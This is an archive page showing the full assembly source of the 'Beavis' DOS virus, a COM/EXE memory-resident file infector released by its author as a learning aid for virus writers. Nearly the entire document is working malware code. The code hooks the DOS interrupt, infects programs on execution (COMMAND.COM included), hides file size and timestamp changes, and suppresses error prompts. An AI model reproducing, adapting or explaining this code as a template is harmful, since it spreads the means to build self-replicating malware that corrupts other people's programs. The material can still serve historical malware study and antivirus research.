home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / VIRDCOLL.ZIP / BEAVIS.ZIP / BEAVIS.ASM next >
Encoding:
Assembly Source File  |  1997-07-09  |  9.1 KB  |  411 lines

  1. ;                            ──────────────────────
  2. ;                              The "Beavis" virus
  3. ;                           written by Virtual Daemon
  4. ;                         ─────────────────────────────
  5. ; Description:
  6. ; ────────────
  7. ;  Here you have my first COM/EXE TSR virus. I made him quite some time ago,
  8. ;so I think that the elite virus coders wont find anything here...
  9. ;Sorry guys! :(
  10. ;  Anyway, I'm releasing the source code bcoz this might help somebody out
  11. ;there in learning how to do it. It's quite simple...
  12. ;  About the virus: ─COM/EXE TSR
  13. ;                   ─infection on 4bh (load or execute)
  14. ;                   ─size stealth on 11h/12h/4eh/4fh
  15. ;                   ─time stealth on 5700h (get file's time/date)
  16. ;                   ─int 24h handler (no errors will be displayed)
  17. ;                   ─save/restore file time/date/attributes
  18. ;                   ─infect COMMAND.COM too
  19. ;  Well, that's all... The virus doesn't have any payload or encryption system
  20. ;bcoz, like I said, this was my first EXE TSR virus! So, don't be too hard on
  21. ;it... There will be a better one! I promiss! :-)
  22. ;
  23. code segment
  24.    assume cs:code,ds:code,es:code
  25.    org 0
  26. virus_start:
  27.    call findoff
  28. findoff:
  29.    pop bp
  30.    sub bp,offset findoff
  31.    push ds                      ;DS=ES
  32.    push es
  33.  
  34.    mov ax,'VD'                  ;check if the virus is already installed
  35.    int 21h
  36.    cmp cx,'DV'
  37.    je over
  38.    mov ah,4ah                   ;get largest block available
  39.    mov bx,0ffffh
  40.    int 21h
  41.  
  42.    sub bx,(endheap-virus_start+15)/16+1       ;substract our virus
  43.    mov ah,4ah
  44.    int 21h
  45.    jc over
  46.    sub word ptr ds:[2],(endheap-virus_start+15)/16+1
  47.  
  48.    mov ah,48h                   ;allocate memory
  49.    mov bx,(endheap-virus_start+15)/16
  50.    int 21h
  51.    jc over
  52.  
  53.    push ax
  54.    pop es
  55.    dec ax
  56.    push ax
  57.    pop ds
  58.  
  59.    mov al,'Z'
  60.    mov byte ptr ds:[0],al       ;mark the MCB
  61.    mov ax,8
  62.    mov word ptr ds:[1],ax
  63.  
  64.    push cs                      ;CS=DS
  65.    pop ds
  66.    xor di,di
  67.    mov cx,(heap-virus_start)/2+1
  68.    mov si,bp
  69.    rep movsw                    ;move the virus to RAM
  70.  
  71.    xor ax,ax
  72.    mov ds,ax
  73.    push ds
  74.    lds ax,ds:[21h*4]
  75.    mov word ptr es:oldint21,ax
  76.    mov word ptr es:oldint21+2,ds
  77.    pop ds
  78.    mov word ptr ds:[21h*4],offset int21
  79.    mov ds:[21h*4+2],es
  80. over:
  81.    pop es
  82.    pop ds                       ;DS=ES
  83.  
  84.    cmp byte ptr cs:[infect_ext+bp],0    ;check if COM or EXE
  85.    je restore_EXE
  86. restore_com:
  87.    lea si,[bp+offset jumpbuf]   ;restore saved bytes
  88.    mov di,100h
  89.    push di
  90.    mov cx,3
  91.    repne movsb
  92.    retn
  93. jumpbuf      db 0cdh,20h,0
  94. restore_exe:
  95.    mov ax,es
  96.    add ax,10h
  97.    add cs:[infcs+bp],ax
  98.    cli
  99.    mov sp,word ptr cs:[infsp+bp]        ;restore sp:ss
  100.    add ax,word ptr cs:[infss+bp]
  101.    mov ss,ax
  102.    sti
  103.    xor ax,ax                    ;clear some registers
  104.    xor bx,bx
  105.    xor cx,cx
  106.    xor dx,dx
  107.    xor di,di
  108.    xor si,si
  109.    push cs:[infcs+bp]
  110.    push cs:[infip+bp]
  111.    xor bp,bp
  112.    retf
  113. infip  dw 00000h
  114. infsp  dw ?
  115. infss  dw ?
  116. infcs  dw 0fff0h
  117.  
  118. int24:
  119.    mov al,3
  120.    iret
  121. int21:
  122.    cmp ax,'VD'
  123.    jne yeah
  124.    mov cx,'DV'
  125.    iret
  126. yeah:
  127.    cmp ah,4bh
  128.    jne neah
  129.    jmp infect
  130. neah:
  131.    cmp ah,11h
  132.    je stealth1
  133.    cmp ah,12h
  134.    je stealth1
  135.    cmp ah,4eh
  136.    je stealth2
  137.    cmp ah,4fh
  138.    je stealth2
  139.    cmp ax,5700h
  140.    jne exithandler
  141.    jmp stealth3
  142. exithandler:
  143.    db 0eah
  144. oldint21   dd ?
  145.  
  146. stealth1:
  147.    pushf
  148.    push cs
  149.    call exithandler
  150.    or al,0
  151.    jnz skip_dir
  152.    push ax bx es
  153.    mov ah,51h                   ;get the PSP in es:bx
  154.    int 21h
  155.    mov es,bx
  156.    cmp bx,es:[16h]              ;check if infected
  157.    jnz error
  158.    mov bx,dx
  159.    mov al,[bx]
  160.    push ax
  161.    mov ah,2fh                   ;get DTA area in es:bx
  162.    int 21h
  163.    pop ax
  164.    inc al
  165.    jnz no_ext
  166.    add bx,7
  167. no_ext:
  168.    cmp word ptr es:[bx+1fh],0
  169.    jnz error
  170.    mov al,es:[bx+17h]           ;check in it's one of our files
  171.    and al,1fh
  172.    xor al,1fh
  173.    jnz error
  174.    sub word ptr es:[bx+1dh],(heap-virus_start)          ;substract our virus
  175.    sbb word ptr es:[bx+1fh],0
  176. error:
  177.    pop es bx ax
  178. skip_dir:
  179.    retf 2
  180.  
  181. stealth2:
  182.    pushf
  183.    push cs
  184.    call exithandler
  185.    jc no_files
  186.    pushf
  187.    push ax di es bx
  188.    mov ah,2fh                   ;get DTA area in es:bx
  189.    int 21h
  190.    mov al,es:[bx+16h]           ;check if infected with our virus
  191.    and al,1fh
  192.    xor al,1fh
  193.    jnz not_inf
  194.    cmp word ptr es:[bx+1ah],(heap-virus_start)
  195.    ja hide
  196.    cmp word ptr es:[bx+1Ch],0
  197.    je not_inf
  198. hide:
  199.    sub word ptr es:[bx+1ah],(heap-virus_start)          ;substract our virus
  200.    sbb word ptr es:[bx+1ch],0
  201. not_inf:
  202.    pop bx es di ax
  203.    popf
  204. no_files:
  205.    retf 2
  206.  
  207. stealth3:
  208.    pushf
  209.    call dword ptr cs:[oldint21]
  210.    push cx
  211.    and cl,01fh                  ;infected by us?
  212.    xor cl,01fh
  213.    pop cx
  214.    jnz no_way
  215.    or cl,01fh                   ;stealth the time
  216. no_way:
  217.    iret
  218. shit:
  219.    retf 2
  220.  
  221. infect:
  222.    pushf
  223.    push ax bx cx dx si di bp ds es
  224.    push ds
  225.    push dx
  226.  
  227.    mov ax,3524h                 ;save old Int 24h
  228.    int 21h
  229.    mov word ptr cs:[old_int24],bx
  230.    mov word ptr cs:[old_int24+2],es
  231.  
  232.    push cs
  233.    pop ds
  234.    lea dx,int24                 ;put a new Int 24h handler
  235.    mov ax,2524h
  236.    int 21h
  237.  
  238.    pop dx
  239.    pop ds
  240.    mov ax,4300h                 ;save attributes
  241.    int 21h
  242.    push ds
  243.    push dx
  244.    push cx
  245.  
  246.    mov ax,4301h                 ;put archive only attributes
  247.    xor cx,cx
  248.    int 21h
  249.  
  250.    mov ax,3d02h                 ;open the file for RW
  251.    pushf
  252.    call dword ptr cs:[oldint21]
  253.    xchg ax,bx
  254.  
  255.    mov ax,5700h                 ;get the time
  256.    pushf
  257.    call dword ptr cs:[oldint21]
  258.    mov word ptr cs:[file_time],cx
  259.    mov word ptr cs:[file_date],dx
  260.  
  261.    push cs cs
  262.    pop ds es                    ;CS=DS=ES
  263.  
  264.    mov ah,3fh                   ;read from file the first 3 bytes
  265.    lea dx,header
  266.    mov cx,1ch
  267.    int 21h
  268.  
  269.    mov byte ptr [infect_ext],1  ;mark as a COM file
  270.  
  271.    mov ax,4202h                 ;go to EOF
  272.    xor cx,cx
  273.    cwd
  274.    int 21h
  275.  
  276.    mov word ptr file_size,ax    ;save file_size
  277.    mov word ptr file_size+2,dx
  278.  
  279.    cmp word ptr header,'MZ'     ;check if EXE
  280.    je infect_exe
  281.    cmp word ptr header,'ZM'     ;could be inverted... who knows? ;)
  282.    je infect_exe
  283. infect_com:
  284.    mov ax,word ptr file_size
  285.    cmp ax,65535-(endheap-virus_start)   ;check if too small
  286.    jb go_on
  287.    jmp close_file
  288. go_on:
  289.    mov cx,word ptr header+1     ;check if already infected
  290.    add cx,heap-virus_start+3
  291.    cmp ax,cx
  292.    jne no_inf
  293.    jmp close_file
  294.  
  295. no_inf:
  296.    mov di,offset jumpbuf        ;build the new JMP
  297.    mov si,offset header
  298.    movsb
  299.    movsw
  300.    mov byte ptr [offset header],0e9h
  301.    sub ax,3
  302.    mov word ptr [offset header+1],ax
  303.    jmp write_virus
  304. infect_exe:
  305.    cmp word ptr header+12h,'VD' ;check if already infected
  306.    je shake
  307.    cmp byte ptr header+18h,'@'  ;check if it's a Windows EXE
  308.    je shake
  309.    cmp word ptr header+1ah,0    ;check if it's a Overlay EXE
  310.    jne shake
  311.    jmp oks
  312. shake:
  313.    jmp close_file
  314. oks:
  315.    mov ax,word ptr file_size
  316.    mov dx,word ptr file_size+2
  317.    push ax
  318.    push dx
  319.  
  320.    mov cx,word ptr header+14h   ;save IP
  321.    mov infip,cx
  322.    mov cx,word ptr header+16h   ;save CS
  323.    mov infcs,cx
  324.    mov cx,word ptr header+10h   ;save SP
  325.    mov infsp,cx
  326.    mov cx,word ptr header+0eh   ;save SS
  327.    mov infss,cx
  328.  
  329.    mov cx,16                    ;let's do some calculs
  330.    div cx
  331.    sub ax,word ptr [header+8h]
  332.    mov word ptr [header+14h],dx
  333.    mov word ptr [header+16h],ax
  334.  
  335.    add dx,offset endheap
  336.    mov word ptr [header+10h],dx
  337.    mov word ptr [header+0eh],ax
  338.  
  339.    pop dx
  340.    pop ax
  341.  
  342.    add ax,(heap-virus_start)
  343.    adc dx,0
  344.    mov cx,512                   ;recalculate file length
  345.    div cx
  346.  
  347.    mov word ptr [header+12h],'VD'       ;mark as infected
  348.    mov word ptr [header+2],dx
  349.    inc ax
  350.    mov word ptr [header+4],ax
  351.  
  352.    mov byte ptr [infect_ext],0  ;mark as a EXE infection
  353. write_virus:
  354.    mov ah,40h                   ;write the virus to file
  355.    lea dx,virus_start
  356.    mov cx,heap-virus_start
  357.    int 21h
  358.  
  359.    mov ax,4200h                 ;go to BOF
  360.    xor cx,cx
  361.    xor dx,dx
  362.    int 21h
  363.  
  364.    cmp infect_ext,1             ;check if COM or EXE
  365.    je com_here
  366.    mov cx,1ch
  367.    jmp short do_it
  368. com_here:
  369.    mov cx,3
  370. do_it:
  371.    mov ah,40h                   ;write the new JMP
  372.    lea dx,header
  373.    int 21h
  374. close_file:
  375.    mov ax,5701h
  376.    mov cx,word ptr cs:[file_time]
  377.    mov dx,word ptr cs:[file_date]
  378.    or cl,1fh                    ;mark for stealth
  379.    int 21h
  380.  
  381.    mov ah,3eh                   ;close the file
  382.    int 21h
  383.  
  384.    mov ax,4301h                 ;restore attributes
  385.    pop cx
  386.    pop dx
  387.    pop ds
  388.    int 21h
  389.  
  390.    mov ds,word ptr cs:[old_int24+2]
  391.    mov dx,word ptr cs:[old_int24]
  392.    mov ax,2524h                  ;restore the Int 24h handler
  393.    int 21h
  394. exit:
  395.    pop es ds bp di si dx cx bx ax
  396.    popf
  397.    jmp exithandler
  398.  
  399. old_int24   dd ?
  400. virusname   db 'Beavis',0
  401. signature   db '[VD/SLAM]'
  402. infect_ext  db 1
  403. heap:
  404. file_size   dd ?
  405. file_time   dw ?
  406. file_date   dw ?
  407. header      db 1ch dup (?)
  408. endheap:
  409. code ends
  410. end virus_start
  411.